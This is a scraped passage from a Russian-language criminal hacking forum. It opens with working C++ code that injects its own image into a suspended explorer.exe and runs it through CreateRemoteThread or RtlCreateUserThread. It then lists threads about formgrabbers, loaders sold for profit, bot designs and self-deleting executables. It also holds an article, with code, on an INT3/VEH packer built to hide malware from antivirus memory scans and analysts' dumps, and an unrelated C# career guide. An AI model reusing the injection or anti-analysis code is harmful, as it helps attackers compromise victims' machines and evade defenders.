    HANDLE hmap = CreateFileMappingA((HANDLE)-1, nullptr, PAGE_EXECUTE_READWRITE, 0, sizeOfImage, nullptr);

    void* view = MapViewOfFile(hmap, FILE_MAP_WRITE, 0, 0, 0);
    if (!view)    return false;

    memcpy(view, (void*)imageBase, sizeOfImage);

    SIZE_T viewSize = 0;
    SIZE_T newBaseAddr = 0;
    SIZE_T addr = 0;

    NTSTATUS status = ZwMapViewOfSection(hmap, hprocess, (PVOID*)&newBaseAddr, 0, sizeOfImage, nullptr, &viewSize, (SECTION_INHERIT)1, 0, PAGE_EXECUTE_READWRITE);

    if (status == 0)
    {
        PIMAGE_DOS_HEADER pdh = (PIMAGE_DOS_HEADER)imageBase;
        PIMAGE_NT_HEADERS pe = (PIMAGE_NT_HEADERS)((byte*)pdh + pdh->e_lfanew);

        ULONG relRVA = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
        ULONG relSize = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
        ProcessRelocs((PIMAGE_BASE_RELOCATION)((SIZE_T)imageBase + relRVA), (SIZE_T)view, newBaseAddr - (SIZE_T)imageBase, relSize);

        addr = (SIZE_T)startFunc - (SIZE_T)imageBase + newBaseAddr;
    }
    if (newBaseImage) *newBaseImage = (HMODULE)newBaseAddr;
    UnmapViewOfFile(view);
    CloseHandle(hmap);

    return addr;
}

BOOL RunInjectCode(HANDLE hProc, HANDLE hthread, typeFuncThread startFunc, typeInjectCode func)
{
    unsigned int addr = func(hProc, startFunc, 0);
    if (addr == 0) return false;
    DWORD id;
    HANDLE hThread2 = CreateRemoteThread(hProc, 0, 0, (LPTHREAD_START_ROUTINE)addr, 0, 0, &id);
    if (hThread2)
    {
        return 1;
    }
    else
    {
        HANDLE hthread;
        CLIENT_ID cid;
        if (RtlCreateUserThread(hProc, nullptr, FALSE, 0, 0, 0, (void*)addr, 0, &hthread, &cid) == 0)
        {
            CloseHandle(hthread);
            return 1;
        }
    }
    return 0;
}

DWORD ExecVA(DWORD options, HANDLE* hprocess, HANDLE* hthread, DWORD* exitCode, int wait, const char* cmd, va_list va)
{
    DWORD ret = 0;
    if (exitCode) *exitCode = 0;
    if (hprocess) *hprocess = 0;
    if (hthread) *hthread = 0;

    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(STARTUPINFOA));
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

    si.cb = sizeof(si);

    BOOL res = FALSE;
    if (!res)
    {
        res = CreateProcessA(0, (CHAR*)cmd, 0, 0, FALSE, options, 0, 0, &si, &pi);
    }
    if (res)
    {
        if (wait > 0)
        {
            if (WaitForSingleObject(pi.hProcess, wait) == WAIT_OBJECT_0)
            {
                if (exitCode)
                {
                    GetExitCodeProcess(pi.hProcess, exitCode);
                }
                CloseHandle(pi.hThread);
                CloseHandle(pi.hProcess);
                pi.hThread = 0;
                pi.hProcess = 0;
                ret = pi.dwProcessId;
            }
        }
        else
            ret = pi.dwProcessId;

        if (hthread)
            *hthread = pi.hThread;
        else
            CloseHandle(pi.hThread);

        if (hprocess)
            *hprocess = pi.hProcess;
        else
            CloseHandle(pi.hProcess);

    }
    return ret;
}

DWORD Exec(DWORD options, HANDLE* hprocess, HANDLE* hthread, DWORD* exitCode, int wait, const char* cmd, ...)
{
    va_list va;
    va_start(va, cmd);
    return ExecVA(options, hprocess, hthread, exitCode, wait, cmd, va);
}

BOOL RunExplorer(HANDLE* hprocess, HANDLE* hthread)
{
    return Exec(CREATE_SUSPENDED, hprocess, hthread, 0, 0, "explorer.exe") != 0;
}

int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
    HANDLE hprocess, hthread;
    memset((void*)&hprocess, 0, 2048);    
    memset((void*)&hthread, 0, 2048);
    if (RunExplorer(&hprocess, &hthread))
    {
        RunInjectCode(hprocess, hthread, (typeFuncThread)injectedCode, InjectCode);
    }
    ExitProcess(0);
}
Скриншот неактивного десктопа
ID: 6765d804b4103b69df375b54
Thread ID: 21115
Created: 2011-02-10T20:39:44+0000
Last Post: 2011-02-11T18:22:22+0000
Author: golovyashkin.eduard
Replies: 8 Views: 9K

Собственно, сабж... Какие существуют варианты реализации?

Книги по Java
ID: 6765d804b4103b69df375b80
Thread ID: 6918
Created: 2006-02-07T06:01:46+0000
Last Post: 2006-11-06T23:14:17+0000
Author: Dron
Prefix: Мануал/Книга
Replies: 9 Views: 9K

Нужен хороший (а лудче отличный) учебник по джаве, где только не искал ничего достойного не нашёл. Помогите найти.. :huh1:
Добавлено в [time]1139292106[/time]
+ Ещё нужен нормальный компилятор, тот кто поможет отблагодарю акком для скайп!

Из кассира в backend. Легкий вкат в C#
ID: 6765d804b4103b69df3756df
Thread ID: 113147
Created: 2024-04-23T13:18:37+0000
Last Post: 2024-07-29T22:01:29+0000
Author: Kain1029
Prefix: Статья
Replies: 61 Views: 9K

Автор: Kain1029
Специально для XSS.is

Всем привет. В этой статье я постараюсь обеспечить максимально мягкий вкат в язык программирования C#, постараюсь ответить на большинство вопросов от новичков и развею несколько мифов.

Для начала немного о себе: я backend разработчик с 5ти летним стажем, мой язык преимущественно C# , этот язык я выбрал, по сколько он достаточно простой для понимания, логичный и лаконичный.
Начинал свой путь так же как и многие. Работал продавцом в магазине, по ночам подрабатывал во всевозможных мутных темах. Мне необходим был софт, а платить за него совсем не хотелось(да и собственно нечем). Единственное, что я знал, это "C# это круто и проще, чем C++ ". С этого все и началось.
Я изначально забивал на теорию и пытался сделать все методом научного тыка, в чем набил достаточно множество шишек и потерял время, а сейчас готов поделиться опытом с вами, чтобы ваш вкат был проще, чем мой.

Ответы на популярные вопросы:**

В: Является ли C# сложным языком?**
О: Нет. C# очень простой язык. По сути все разделено на классы и методы(если обобщать). Классы это коробки(хоть картонные, как хотите так и представляйте), а методы - нечто, хранящиеся в этих коробках. И чтобы обратиться к методу, необходимо взять нужную коробку , порыться к ней, и достать то, что вам нужно. Это осознание мне очень сильно помогло при изучении. Это все утрировано , но сути так и есть.

В: Почему C# , а не питон?
О: Лично мне питон не нравится синтаксисом, но это вкусовщина. К тому же, я пытался понять питон после C# и для меня это тяжело, в этом моменте меня скорее всего поймут люди, кто переходил с ASM на высокоуровневые языки.
Любой язык это лишь инструмент, соответственно какой инструмент выбрать решаете вы под свои задачи.

В: Как долго учить C#, чтобы устроится на работу?
О: Это пожалуй самый частый вопрос от новичков, и вероятнее всего, ожидается ответ "каждый день по 8 часов", но это в корнене верно. Максимум, чего вы добьетесь - выгорание. В какой то момент вы начнете осознавать, что ничего не понимаете , начнут приходить мысли в голову мол "а надо ли оно мне вообще?". В этот момент главное остановиться и подождать, пока у вас не начнется ломка по изучению нового аспекта языка(проверено, помогает).

В: Как правильно изучать C#?
О: Я рекомендую дробить свое изучение. Если это видео-уроки, то дробить их по видео, если книги, то по главе. Распространенная ошибка - включить видео на фоне и заниматься своими делами, или читать по 150-200 страниц в день. Запомните - это так не работает. Поставили себе цель - смотреть 1 видео в день, но сделать это крайне качественно, попробовать самому что нибудь написать, изучать дополнительные материалы. Если вы предпочитаете читать , то достаточно 1 главы в день и не важно 10 или 20 страниц там. Как правило 1 глава это одна тема, а ваша задача , не прочитать как можно больше букв, а постараться понять написанное. Как только чувствуете ,что не понимаете - останавливаетесь и гуглите до того момента пока не будете знать тему как "отче наш". Если закончили одну главу, но сил еще много - проступайте ко второй, но помните золотое правило - **" НЕ БРОСАЙ НА ПОЛОВИНЕ". **Начал читать/смотреть - доделай до конца. До последней минуты или страницы. Если ты этого не сделаешь я даю тебе 100% гарантию ,что завтра ты даже не вспомнишь, что читал, а там 2 варианта, либо дочитаешь и мысли не сложатся в один ряд, соответственно не поймешь тему, либо начнешь заново, а какой тогда в этом смысл?

В: Где получить мотивацию?
О: Так же достаточно частый вопрос. Для начала подумайте , для чего вам изучать программирование? Если ваша цель быстренько изучить материал и получать 300к в секунду можете даже не начинать, это не для вас, да и рынок переполнен подобными выскочками. Если же вы вам это реально интересно, в школьные годы интересовал паскаль и информатика в целом, ну либо вы осознаете, что это не быстрый процесс, но все равно хотите поменять свою жизнь в лучшую сторону, то welcome to the club buddy. Искреннее желание - лучшая мотивация.

В: Стоит ли оплачивать курсы программирования?
О: Однажды я хотел записаться на платные курсы, ввиду того, что ничего не понимал, спустя время я могу твердо заявить, что все курсы от скилфактори и подобных ребят - полная шляпа. Вас разуют , вряд ли чему то научат, зато вселят надежду, так вы и будете стоять в один усах, голый , но довольный. Поэтому я советую обучаться самому. Ниже я приведу довольно хорошие материалы для изучения по пунктам. Если все ваше обучение идет по спирали в стиле "О, я понял теперь могу идти на работу -> Нет, ничего не знаю -> Теперь я знаю все работа меня ждет -> Как же можно быть таким тупым", значит вы на верном пути. Если вам кажется, что вы ничего не знаете - вы всегда знаете немного больше, чем вчера. Главное не опускать руки

Рекомендуется для изучения:
Все ссылки предназначены для ознакомления и потому что мне лень искать картинку

Я буду ранжировать книги по сложности по возрастанию. Советую читать их по порядку.

Михаил Фленов. Библия C# 6 издание:
OZON
Данная книга максимально дешевая и короткая, если вы ее прочитаете то будете иметь поверхностное понимание, а языке и его использовании. В ней содержится множество примеров и задач. Я лично читал 4-е издание. Написано, просто и понятно. Однако из минусов: для более менее опытных людей она будет максимально бесполезная, вся информация подается поверхностно, но опять же это и плюс, то бы не перегружать новичков сложными структурами и так далее.
В качестве альтернативы можно попробовать проходить бесплатные курсы, коих в интернете не мало, а так же..

Simple Code
YouTube
Пожалуй это лучшее, что я находил для изучения. Все темы короткие, есть домашние задания. Видео все бесплатные. Опять же ввиду того, что темы короткие, приходится искать дополнительные источники. Но это мастхев для начинающего шарписта. Всем советую.

Марк Прайс. C# 10 и .NET 6.
OZON
Достаточно не плохо написано. В книге рассказывается как основной синтаксис, так и работа с базой данных и несколькими библиотеками, получается, что книга закрывает сразу несколько потребностей, но так же и имеет свои минусы: Она очень большая, а переплет мягкий, читать ее не удобно. Много тем написаны "голопам по европам", хочется получить больше информации, а нет, автор так не считает, поэтому будете довольствоваться, тем, что имеете. Перевод так себе, так что если вы знаете английский - лучше читайте англоязычную версию.

Джеффри Рихтер. CLR via C#
OZON

Многие ее называют "Библия C#" (и эта не та библия, которая названа в первом пункте). В этой книге рассказывается как работает C# под капотом, почему происходит так , а не иначе, во что превращается ваш код после компиляции. Любой уважающий себя шарпист хоть раз ее читал. Однако это будет очень сложная книга для новичка, скорее она предназначена "для тех, кто в теме". Нет смысла от того, что вы знаете язык, если не знаете как он работает. Лично проверено, что работодатели респектуют тем, кто ее читал. И шансы попасть на работу гораздо выше. Однако, эта книга ОЧЕНЬ старая , но прочитать вы ее обязаны, так как фундаментальные знания не меняются, лишь добавляются новые фичи. Не рекомендую начинать с нее, так для совсем 0 будет не понятно и казаться все нереально сложным.

Эндрю Лок. ASP.NET Core в действии.
OZON

Здесь описывается создание веб приложений на языке C# , рекомендую изучать данную вместе со следующей

Джон Смит. Entity Framework в действии
OZON

Вся книга направлена на использование одноименной библиотеки ORM для работы с базой данных. Данная ORM , используется во многих организациях, поэтому настоятельно рекомендую ее изучать.

Где практиковаться?

Я хочу выделить 3 основных направления для получения практики:

1. Пет проекты. Ничто не мотивирует лучше как личная необходимость.
Придумайте для себя проект, соответствующий вашему направлению, брут, чекер, и так далее и пытайтесь его написать. Мой первый проект был - накрутчик просмотров на твиче, кривой и косой, но я на нем получал опыт. Пусть этот проект затянется на долго, вас никто не торопит, самое главное, что вы получите колоссальные знания, каждый раз добавляя в ваш проект, что нибудь новое или улучшая предыдущие наработки.

2. Биржа фриланса. Как бы смешно не звучало, но это отличное место, чтобы получить опыт. Как это работает. Не стоит брать проект сразу. Прочитайте его, поймите, что требуется сделать и делайте это, если успели сделать до того как кто то уже перехватил задачу - пробуйте заработать. Этот вариант подходит для тех ,кто не знает, что написать. А так вы получаете опыт, и есть шанс заработать не большую денежку :)

3. Официальная работа. Не думайте, что после начального обучения вас возьму за 300к в секунду в майкрософт, генеральным директором генерального директора, но вполне вероятно можно найти работу стажером. Множество компаний согласятся вас взять на работу за условные 30-50 т.р. на позицию стажера. Согласен, деньги не большие, НО вы общаетесь с сеньорами , получаете очень мощный буст в своих скилах, и если все хорошо, то вполне вероятно, что через год вас повысят до джуна и дадут прибавку к ЗП. А дальше выбирать вам. Качаться до мидла или переходить в другую компанию для нового буста. Не это ли счастье? Этот способ самый действенный, однако, чтобы устроится даже стажером необходимо иметь какие никакие знания. Так что книгу в зубы и вперед покорять горы.
Screenshot_1.png

А что дальше?
После того как вы изучили базу, нашли самую первую работу. Вам остается только оттачивать свое мастерство. На этом этапе вы вполне себе самостоятельный разработчик, можете брать реальные заказы на фрилансе, писать и продавать софт, или устроится на официальную работу и получать 300к в секунду.
Если не начнешь сегодня - не начнешь уже никогда.

С радостью отвечу на ваши вопросы.

Концепт модульного бота
ID: 6765d804b4103b69df375ab6
Thread ID: 33838
Created: 2019-12-15T09:15:02+0000
Last Post: 2019-12-23T16:09:37+0000
Author: Triada
Replies: 26 Views: 9K

Получать команду в json формате ->
там ссылка на длл и аргументы запуска ->
бот принимает, качает модуль -> запускает функцию из длл в памяти ->
освобождает буффер длл и так по кругу.

Концепт нормальный? Как можно улучшить?

Нерезидентный лоадер
ID: 6765d804b4103b69df375b06
Thread ID: 28678
Created: 2019-04-09T11:01:44+0000
Last Post: 2019-04-11T21:48:58+0000
Author: higgler
Replies: 42 Views: 9K

Пишу для себя и продажи нерезидентный лоадер с полиморфной мутацией кода, инжектами и легитимностью. Есть на такое спрос или это заведомо мертвый проект?
В продаже нерезидентных лоадеров нет (и резидентных толком тоже).

Формграббер (winAPI)
ID: 6765d804b4103b69df375b5e
Thread ID: 18387
Created: 2009-09-27T19:17:23+0000
Last Post: 2010-07-07T13:11:21+0000
Author: z0.V1per
Replies: 34 Views: 9K

подскажите реализацию.. на C#\C++
..... исходники или статейки подойдут...

нормального ничего найти не могу

Как можно самоуничтожить exe файл?
ID: 6765d804b4103b69df375b66
Thread ID: 16910
Created: 2009-02-15T19:07:27+0000
Last Post: 2009-05-19T05:34:50+0000
Author: SwaRR
Replies: 27 Views: 8K

Собственно задача состоит в том, чтобы exe файл самоуничтожился. Как можно реализовать на с++?

Компиляторы
ID: 6765d804b4103b69df375b86
Thread ID: 10255
Created: 2006-07-29T18:44:19+0000
Last Post: 2006-10-23T17:02:12+0000
Author: \xE9\x85\
Replies: 24 Views: 8K

Кто какие использует?

Как защитить от декомпиляции C#
ID: 6765d804b4103b69df375a8b
Thread ID: 32281
Created: 2019-10-05T11:04:02+0000
Last Post: 2020-02-13T18:49:21+0000
Author: Doomer222
Replies: 22 Views: 8K

Уважаемые пользователи,я новичок как на этом форуме так и в программировании.
Помогите советом,как защитить исходной код написанный на C# От декомпиляции,как защитить программу от просмотра кода.
Не кидайтесь тапками и не посылайте в гугл (Я там уже был и не один раз).
множество легко снимается другими аналогами.

ASCII код символа в char
ID: 6765d804b4103b69df375b72
Thread ID: 14637
Created: 2008-02-22T21:55:04+0000
Last Post: 2008-03-05T11:11:11+0000
Author: W0rm
Replies: 17 Views: 8K

облазил пол инета. ничего несмог найти.
надо просто генерить текст в проге, точнее набор букв(маленькие и большие)
мне на ум прихит тока руками забить массив и оттуда дергать символы. у кого какие мысли есть или сорец

Аналог CreateThread в Nt/Zw
ID: 6765d804b4103b69df375acf
Thread ID: 32519
Created: 2019-10-15T16:35:05+0000
Last Post: 2019-10-19T13:43:22+0000
Author: MegadethProj
Replies: 50 Views: 7K

Что лучше использовать? RtlCreateUserThread или NtCreateThread?

Изучение С в 2024
ID: 6765d804b4103b69df3756f2
Thread ID: 111769
Created: 2024-04-01T21:59:46+0000
Last Post: 2024-06-10T23:25:03+0000
Author: stereotype
Replies: 62 Views: 7K

Всем привет, хотелось бы узнать на сколько актуальна статья. Есть ли смысл изучать в 2024? Вирусы под винду все также пишутся на С? Или появилось что-то новое?

Защищаем код с помощью VEH и INT3
ID: 6765d804b4103b69df37589f
Thread ID: 64259
Created: 2022-03-14T21:15:54+0000
Last Post: 2022-08-07T18:46:48+0000
Author: DildoFagins
Prefix: Статья
Replies: 50 Views: 7K

intromeme.jpg

Привет, любознательные мои! Сегодня мы с вами возьмем, да и слепим из говна и палок своего рода «софтварный анклав» (с) или же «полноценный антидамп» (с) для x86-кода под Вендой (хотя для x64 должно работать так же с минимальными изменениями). Это будет не то, чтобы убер-технология для всяких пакеров и протекторов, или же хотя бы чуточку практичная технология в том виде, в котором мы будем ее рассматривать, но мне кажется, что будет интересно. Ведь от пруф оф концепта до практичной технологии чуть меньше шагов, чем от ничего до практичной технологии. И да, конкретно эта моя реализация никоим образом (кроме концептуально-идейной составляющей) не относится к «софтварному анклаву» (с) всяких там элитных спецов, о которых вы могли слышать. У них там своя эльфийская магия. Ну да ладно.

Содержание:
1. Введение
2. Обзор технологии
3. Разработка крекмиши
4. Разработка генератора стабов
5. Разработка кода стаба
6. Заключение

1. Введение

Что же мы будем подразумевать под «софтварным анклавом»? Далее будет небольшая справочка по Intel SGX, кто в курсе, можете этот абзац пропустить. Тем более, что Intel SGX — не бро, а говно и палки — наше всё. В общем… есть такая замечательная технология Intel SGX. Предназначена она для того, чтобы производить безопасные вычисления в потенциально опасной среде. Например, представим, что вы некая компания, которая хочет «хранить свои секретики» (и свои разработки) подальше от чужих глаз. Потому, что вы разработали убер важный для компании и убер успешный алгоритм или целую программу. Вы хотите его/ее преподнести миру, но при этом заработать денежку и не позволить вашим конкурентам с помощью злых реверсеров анализировать и создавать аналоги вашего убер-алгоритма/программы, ну и зарабатывать таким образом на вас деньги. Было бы здорово запустить вашу программу в виде сервиса в интернете, например, на какой-то из облачных платформ. Но сервис в интернете — это ни разу не доверенная среда, его могут подломать злые рашн хакерс и выкачать все ваши секретики, которые вы так хотели хранить при себе. На выручку в этом случае может прийти технология Intel SGX. Она на аппаратном уровне создает защищенную область данных и кода — «анклав», при этом этот самый анклав защищен в том числе и от ядра операционной системы, то есть все гипер пупер безопасненько (ну кроме уязвимостей самой технологии, которые уже были опубликованы). Ваши ценные код/данные/секретики будут существовать и функционировать в защищенной области (анклаве), в которую извне можно только передать входные данных и получить результат вычислений обратно. Выкусите, господа ваши конкуренты со своими злыми рашн хакерс и реверсерс.

К сожалению, все было бы так просто, если бы не было так сложно. Поддержка Intel SGX есть далеко не везде, внутри анклава может существовать далеко не каждый код (например, вызывать API-функции операционной системы и сисколлы невозможно, насколько я это понимаю). Так вот в один прекрасный исторический момент воспаленный разум одного широко известного в узких кругах спеца породил идею сделать своего рода программную эмуляцию того, как работает аппаратная технология Intel SGX. То есть концептуально содержать важный код и данные в некоей защищенной (защифрованной) области — анлаве, но при этом каким-то образом его исполнять. Так появился термин «софтварный анклав». Этот термин был не очень удачным, так как многие подумали, что имеется ввиду Intel SGX, ведь технология в самом своем названии несет слово «софтварный» (SGX — Software Guard Extensions), хотя и немного в другом смысле. Повинуясь воли спеца, в дальнейшем мы будем называть «софтварным анклавом» именно программную эмуляцию «аппаратных анклавов» (Intel SGX и мелкомягких VBS — Virtualization Based Security, а не VBScript, о котором вы подумали).

Для чего это может понадобиться нам с вами? Мы, конечно же, не всякие там компании, но у нас тоже есть свои «секретики». Ну во-первых, мы можем таким образом усложнить жизнь реверсеру, который будет наш код анализировать. Безусловно, достаточно скилловые и целеустремленные реверсеры рано или поздно все равно добьются своего, поэтому, как и при обфускации кода, непреодолимой защиты быть не может, но подзаебать реверсера таким образом мы можем. Во- вторых, в это жестоком мире существуют аверы (антивирусы) с фетишом на периодические сканирования виртуальной памяти процессов. В теории «софтварный анклав» доставил бы им некоторое количество хлопот с детектом защищенного кода. В-третьих, часто «дятлы» (это - не обидный термин, их и правда так называют в их антивирусных компаниях) для снятия протектора с малвари просто ждут, когда малварь будет запущена в памяти процесса протектора, делают дамп виртуальной памяти процесса и уже из дампа извлекают малварь на анализ. Так вот «софтварный анклав» в этом смысле может считаться «полноценным антидампом», так как в дампе нашего защищенного кода не будет в открытом виде.

Конечно, программная эмуляция, как бы мы ее не реализовывали, всегда будет уступать по своей секьюрности и качеству проработки аппаратной, сделанной умными дядьками из крупных компаний. Конкретно реализация из этой статьи базируется на VEH (обработке векторных исключений) и инструкции INT3 (debug break — программной точки останова для отладки). В теории из этой базовой технологии можно было бы сделать качественный и применимый на практике продукт, но «делать этого мы конечно же не будем», поскольку это потребовало бы решения кучи подводных камней — такой, которую в одной статье не разгрести. Поэтому мы просто рассмотрим технологию на базовом уровне, а потом реализуем ее в виде небольшой крекмиши (crackme), которую я делал для того, чтобы в очередной раз быть облитым желчью и гуаном (говно летучей мыши) на форуме спецов реверсеров (не спрашивайте, зачем, это мой крест и мне его нести, у самурая нет цели, есть только путь).

Важно еще отметить, что я буду опускать некоторые понятные и общие для всех пакеров и/или протекторов вещи, которые были обмусолены вдоль и поперек в других статьях нашего уютненького комьюнити. Если что-то не понятно, спрашивайте в комментариях к статье, постараюсь либо объяснить, либо кинуть ссылку на статью, если смогу ее найти (хотя не очень дружу с местным поиском).

Ну и да, представленный ниже код не претендует на истину в последней инстанции, может иметь баги, вызывать нозальных демонов и так далее. Всегда готов и рад услышать здравую критику или какие-либо идеи по улучшению представленного ниже кода. Критикуя — предлагайте свои решения и идеи, в спорах рождается истина, если спор имеет хоть какой-то смысл. Ну давайте начинать.

2. Обзор технологии

Итак, для решения задачи «софтварного анклава» я предлагаю вам держать весь наш защищаемый код зашифрованным все время и в цикле расшифровывать и исполнять по одной инструкции. То есть в единицу времени в виртуальной памяти процесса, исполняющего наш защищенный код, из всего этого защищенного кода может быть только одна инструкция в открытом виде. Конечно, у такого подхода будет ряд недостатков, о которых мы подумаем в конце статьи, но надо же с чего-то начинать.

Это штуковину можно сделать несколькими способами вплоть до создания виртуальной машины для исполнения кода (вы же ждете статью на эту тему?). Я же предлагаю сделать следующим образом. Мы напишем протектор, который будет загружать полезную нагрузку в виртуальную память текущего процесса, как это обычно бывает, но вместо секции .text (секции исполняемого кода) у нас будет большая портянка из байта 0xCC (инструкции INT3, она же debug break). Инструкция INT3 вызывает исключение (программную ошибку), когда процессор на нее «наступает». Мы можем отловить это исключение, получить адрес инструкции INT3 из контекста потока, расшифровать на место инструкции INT3 одну инструкцию защищаемого кода и продолжить исполнение. Таким образом, мы выполним только одну инструкцию, а исполнение снова прервется на следующей за инструкцией INT3. Конечно, прежде чем расшифровывать следующую инструкцию, нужно будет «залить» предыдущую инструкцию байтами 0xCC для того, чтобы в единицу времени в памяти у нас была расшифрована только одна инструкция.

Отлавливать исключения мы будем с помощью векторной обработки исключений, она же VEH. Это просто и довольно легко реализуется. Кроме того, нам понадобится еще и дизассемблер длин для того, чтобы определить, сколько байт нам нужно расположить в секции текста при расшифровке инструкции. Благо в операционную систему мелкомягких давно встроен приемлемый дизассемблер в библиотеке dbgeng.dll, ну вы, наверное, об этом уже читали в одной из моих предыдущих статей. Этот дизассемблер еще и умеет выводить красивую читаемую строку из байтов инструкции, что пригодится нам при отладке. Например, если при исполнении инструкции будет возникать исключение, которое мы не ожидаем увидеть.

3. Разработка крекмиши

Для начала нам нужно разработать небольшую тестовую программу, которую мы затем будем защищать своим «анклавом». Я предлагаю сделать вот что: программа будет считывать пароль пользователя из stdin, хешировать его каким-то предельно простым алгоритмом, а затем сравнивать с эталонным значением. Своего рода классический крекми, рассмотрим код:

C++:Copy to clipboard

#include <windows.h>

constexpr DWORD cp_hash_string(LPCSTR str, DWORD seed) {
    DWORD result = seed;
    for(INT i = 0; str[i] != '\0'; i++) {
        DWORD v1 = result * 0xab10f29f;
        DWORD v2 = v1 + str[i];
        result += v2 & 0xffffff;
    }

    return result;
}

const DWORD hash_seed = cp_hash_string(__DATE__ __TIME__, 0);
const INT buffer_size = 256;

static HANDLE stdout = INVALID_HANDLE_VALUE;
static HANDLE stdin  = INVALID_HANDLE_VALUE;

VOID init_std_handles() {
    stdout = GetStdHandle(STD_OUTPUT_HANDLE);
    stdin  = GetStdHandle(STD_INPUT_HANDLE);
}

VOID write_line(LPCSTR line) {
    DWORD written = 0; INT length = lstrlenA(line);
    WriteConsoleA(stdout, line, length, &written, NULL);
    WriteConsoleA(stdout, "\n", 1, &written, NULL);
}

VOID read_line(LPSTR buffer, INT length) {
    for(INT i = 0; i < length; i++) {
        CHAR chr = 0; DWORD read = 0;
        if(!ReadConsoleA(stdin, &chr, 1, &read, NULL))
        { break; }

        if(chr == '\n' || chr == '\r')
        { buffer[i] = '\0'; break; }
        else { buffer[i] = chr; }
    }
}

extern "C" void entry_point() {
    init_std_handles();
    write_line("Enter password, bro: ");

    CHAR password[buffer_size];
    read_line(password, buffer_size);

    DWORD hash = hash_seed;
    for(INT i = 0; password[i] != '\0'; i++) {
        DWORD v1 = hash * 0xab10f29f;
        DWORD v2 = v1 + password[i];
        hash += v2 & 0xffffff;
    }

    if(hash == cp_hash_string("TestDatAntidumpShit", hash_seed)) {
        write_line("Password is valid, bro!");
        write_line("You are real cracker, bro!");
    } else {
        write_line("Password is invalid, bro!");
        write_line("Better luck next time, bro!");
    }  

    ExitProcess(0);
}

Подключаем вендовый заголовок и поехали кодить. Constexpr функция cp_hash_string реализует простой алгоритм хеширования строки с указанием зерна (стартового значения) для алгоритма. Поскольку она объявлена как constexpr, то она будет выполняться на этапе компиляции, а на ее место ее вызова в коде будет подставлено значение хеш функции от константной строки. Далее определяем две константы. Первая — уникальное зерно для алгоритма хеширования в зависимости от даты и времени компиляции. Вторая — размер буфера на стеке для строки, которую будет вводить пользователь. Затем обозначим две глобальные переменные, которые в процессе работы получат хендлы stdout и stdin соответственно. Функция init_std_handles получает и сохраняет хендлы stdout и stdin. Функция write_line записывает строку с stdout. Функция read_line считывает строку из stdin. Конечно, проделать эти операции можно было бы и функциями из CRT (типа printf и scanf), но мне хотелось, чтобы в этом семпле была только одна импортируемая библиотека — kernel32.dll (собирать его мы будем без зависимостей от CRT). Функция entry_point является точкой входа программы, в ней, собственно, все и происходит. Спрашиваем пользователя о пароле, получаем от него строку, хешируем строку и сравниваем с эталонным значением. В зависимости от результатов сравнения выводим пользователю, молодец он или нет. Теперь давайте собирать этот код в экзешничек:

Bash:Copy to clipboard

i686-w64-mingw32-gcc.exe -o payload.exe  -fno-exceptions -fno-rtti -fno-ident -O3 -Os payload.cpp  -fno-ident -s -Wl,--pic-executable -e_entry_point -nostdlib -lkernel32 -lmsvcrt

Как настоящий маргинал-нонконформист я использовал для сборки MinGW, но вы можете аналогичным образом собрать этот код с помощью Visual Studio или Clang, но постарайтесь, сделать это без зависимостей от CRT (для простоты в проекторе я опустил обработку всяких TLS’ов и других несуразностей, которые бывает тянутся за стандартными цешными библиотеками). Код написан на С++, но не использует никакие плюсовые фичи, которые тянут за собой CRT. И обратите внимание, что исполняемый файл нам нужен с релоками, таким образом его можно будет загружать в произвольное место в виртуальной памяти, он не будет привязан к одному адресу, который может быть уже занят на момент загрузки исполняемого файла протектором. По поводу релоков можно более подробно прочитать в других статьях, посвященных непосредственно PE-формату и загрузке экзешничков в память. Ну вроде все сказал, давайте переходить к разработке кода протектора.

4. Разработка генератора стабов

Чтобы не сильно заморачиваться, я решил сделать билдер для стабов нашего протектора на самом простом и понятном языке — на этом вашем Петоне. Из исполняемого файла билдер будет брать только те данные, которые в последствии понадобятся стабу для успешной загрузки нашего защищаемого кода (крекми). Для получения и извлечения этих данных я решил воспользоваться готовой библиотекой, которую можно поставить через pip, а именно — pefile (парсер PE- формата). Рассмотрим код генератора стабов:

Python:Copy to clipboard

import pefile

def encrypt_text_section(data: bytes) -> bytes:
    result = bytearray()
    for i in range(len(data)):
        xor1 = result[i - 1] if i != 0 else 0
        xor2 = ((42 + i) * 48271) & 0xFF

        byte = (data[i] ^ xor2) & 0xFF
        byte = (byte ^ xor1) & 0xFF      
        result.append(byte)

    return result

def encrypt_section(index: int, data: bytes) -> bytes:
    index = index * 48271

    result = bytearray()
    for i in range(len(data)):
        xori = ((index + i) * 48271) & 0xFF
        byte = (data[i] ^ xori) & 0xFF
        result.append(byte)

    return result

with open("payload.hpp", "w", encoding="utf-8") as fil:
    pe = pefile.PE("payload.exe")
   
    fil.write("#pragma once\n")
    fil.write("#include <windows.h>\n\n")

    image_base = pe.OPTIONAL_HEADER.ImageBase
    size_of_image = pe.OPTIONAL_HEADER.SizeOfImage
    entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    section_count = len(pe.sections)
   
    imports_dir = pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_IMPORT"]
    imports_va = pe.OPTIONAL_HEADER.DATA_DIRECTORY[imports_dir].VirtualAddress

    relocs_dir = pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_BASERELOC"]
    relocs_va = pe.OPTIONAL_HEADER.DATA_DIRECTORY[relocs_dir].VirtualAddress
   
    fil.write("const DWORD PayloadImageBase  = 0x{0:08X};\n".format(image_base))
    fil.write("const DWORD PayloadImageSize  = {0};\n".format(size_of_image))
    fil.write("const DWORD PayloadSections   = {0};\n".format(section_count))
    fil.write("const DWORD PayloadEntryPoint = 0x{0:08X};\n".format(entry_point))
    fil.write("const DWORD PayloadImportsRVA = 0x{0:08X};\n".format(imports_va))
    fil.write("const DWORD PayloadRelocsRVA  = 0x{0:08X};\n".format(relocs_va))

    fil.write("\n")
    for i in range(len(pe.sections)):
        data = pe.sections[i].get_data()
        if i == 0: data = encrypt_text_section(data)
        else: data = encrypt_section(i, data)

        data = ["0x{0:02X}".format(x) for x in data]
        data = ', '.join(data)

        fil.write("static BYTE PayloadSection{0}Data[] = {{ {1} }};\n".format(i, data))

    fil.write("\n")
